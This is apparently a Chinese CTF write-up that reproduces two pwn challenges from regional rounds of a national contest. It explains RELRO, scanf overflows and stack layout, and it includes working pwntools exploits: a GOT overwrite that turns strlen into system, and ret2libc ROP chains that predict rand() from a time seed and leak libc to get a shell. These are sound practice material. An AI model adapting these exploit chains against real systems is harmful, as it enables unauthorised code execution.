# 国赛题复现

不同地区的国赛题,进行复现。— 简单 pwn 题

# 华北赛区:

# RELRO 保护机制

1.RELRO 的保护机制可用于防护 GOT hijacking ,其全名为 Relocation Read-Only

2. 本题中 checksec 中为 Partial RELRO ,这种情况下, GOT 可写,即存在 GOT hijacking 的漏洞

3. 而保护的方式是设置为 Full RELRO ,这种情况下不会出现 lazy binding ,因为在 Load time 时会将所有 funciton resolve 完毕,并设置 GOT 不可写。

image-20230717090133980

给到的附件是这两个。

# 检查程序

image-20230717090248188

开启了堆栈不可执行和 pie 保护。

image-20230717090403892

普通的执行并没有发现什么东西

# 放入 IDA

img

这是给到的几个函数

image-20230717090604786

image-20230717090621694

image-20230717090637164

这是其中有用的函数,接下来进行分析

其中 v2 数组在他的索引 0 的位置有 puts 函数的地址。

main 函数显示调用了 96B 这个函数,96B 内有个 scanf 函数,他的参数是 %252s,这里要记住,要用到,往下看,还有是 sacnf,这里主要是绕过判断的。只要绕过这个判断,我们就能得到 v2 的索引 0 处的地址。

参数 % s
% s 参数在 PWN 题中的应用应该是最常见的了。scanf (“% s”, a) 实际上与 gets 一样危险,均不会检查 a 的边界,出现在题中一定是一个可以进行栈溢出或堆溢出的重点。这里注意其与 read 函数相同,可以读取 \x00 后面的内容,仅将换行作为输入读取的结束标志。不过这里要注意的是,% s 参数会以空格作为分隔符,也就是说,如果输入中含有空格,那么空格前后的内容会被分配到不同的 % s 参数中。这一点在使用 scanf 进行溢出时需要注意,否则容易造成 ROP 链断裂等问题。

里面 V4 是个局部变量,这样我们可以利用第一个 scanf 把它覆盖成 0。第一个函数我们思路有了,接下来就是第二个函数的思路。

第三个 scanf,这是用来绕过判断的。一共有两个 read 函数,第一个 read 函数没啥用,有意思的就是第二个 read 函数。

栈中的数组越界:
因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。
栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。

所以通过第二个 read 函数,去控制修改地址。首先就是去做到覆盖,这种覆盖也是第一次见,是看 bss 段里大小去覆盖。

image-20230717143008203

覆盖 0x1c 字节大小,覆盖完后去修改地址,但是因为 v0 是通过 rax 去存参的,所以需要去传两遍参,正好有两次传参机会,我们可以去修改 close 函数,变成一个我们想要去程序执行的函数。

这里我们要重新返回执行 A31 这个函数,接下来就是重头戏,去修改 got 表。

image-20230717143729215

非常关键一点就是这里,我们可以修改 strlen 函数,变成 system 函数,在给他传个 bin/sh 即可

# exp
n
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h'])
local = 2
if local == 1:
    io = remote(0)
else:
    io = process('./pwn')
libc = ELF('./libc.so.6')
payload = b'a'*(0xfc)
io.sendafter(b'challen',payload)
io.recvuntil(b'Good luck!\n')
io.sendline(b'22')
io.recvuntil(b'gift:\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
print(hex(system))
strlen_addr = libc_base + libc.symbols['strlen'] 
print(hex(strlen_addr))
io.recvuntil(b'index>>\n')
# sleep(0.1)
io.sendline(b'5')
io.recvuntil(b'input>>\n')
# gdb.debug()
# gdb.attach(io)
paylaod = b'a'*(0x1c) + b'\x88\xff\xff\xff'
io.send(paylaod)
# gdb.attach(io)
# io.recvuntil(b'bye~\n')
# payload1 = b'\xe0\xef'
io.sendafter(b'bye~\n',b'\x31\x0a')
io.sendline(b'5')
payload = (b'c').ljust(0x1c,b'a') + b'\x78\xff\xff\xff'
io.sendafter(b'input>>\n',payload)
io.sendafter(b'bye~\n',p64(system)[:3])
# gdb.attach(io)
io.sendline(b'5')
io.sendafter(b'input>>\n',b'/bin/sh\x00')
# io.send(b'a')
io.interactive()

# 华东赛区:

# 检查程序:

image-20230722171805702

# 执行程序:

image-20230722171849970

# 放入 IDA:

image-20230722172024544

# 发现漏洞函数:

image-20230722172050505

整体思路,绕过随机数检查判断,到达漏洞函数,获取 shell。seed 种子是 4 字节大小要注意

# exp:
n
from pwn import*
from ctypes import*
context(arch='amd64',os='linux')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
local = 2
if local == 1:
    p = remote()
else:
    p = process('./vuln')
libc = cdll.LoadLibrary('libc.so.6')
elf = ELF('./vuln')
ret = 0x40101a
pop_rdi = 0x00401443
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
gift = 0x040125D
b = libc.srand(libc.time(0))
# gdb.attach(p)
payload = b'a'*(14)+ p32(libc.time(0))
p.sendafter(b'name:\n',payload)
# v6 = (libc.rand(b)-1) %100 +2
# p.sendafter(b'number:\n',p32(v6))
for i in range(100):
    v6 = libc.rand() %100 + 1
    p.sendafter(b'number:\n',p32(v6))
# gdb.attach(p)
libc = ELF('./libc-2.27.so')
p.recvuntil(b'your gift!\n')
payload = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(gift)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
sys = libc_base + libc.symbols['system']
print(hex(sys))
binsh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(binsh))
payload = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.send(payload)
p.interactive()

但是我本地的 libc 下载来,还是打不通,真的不知道啊啊啊啊啊啊

能打通本地的 exp

n
from pwn import*
from ctypes import*
from LibcSearcher import *
context(arch='amd64',os='linux')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
local = 2
if local == 1:
    p = remote()
else:
    p = process('./vuln')
libc = cdll.LoadLibrary('libc.so.6')
elf = ELF('./vuln')
ret = 0x40101a
pop_rdi = 0x401443
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
gift = 0x40125D
b = libc.srand(libc.time(0))
payload = b'a'*(14)+ p32(libc.time(0))
p.sendafter(b'name:\n',payload)
for i in range(100):
    v6 = libc.rand() %100 + 1
    p.sendafter(b'number:\n',p32(v6))
p.recvuntil(b'your gift!\n')
payload1 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(gift)
p.sendline(payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
addr_system = libcbase + libc.dump("system")
addr_binsh = libcbase + libc.dump("str_bin_sh")
payload2 = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload2)
p.interactive()

os: 早知道 libcsearcher 能打通,谁会掉头发!!!!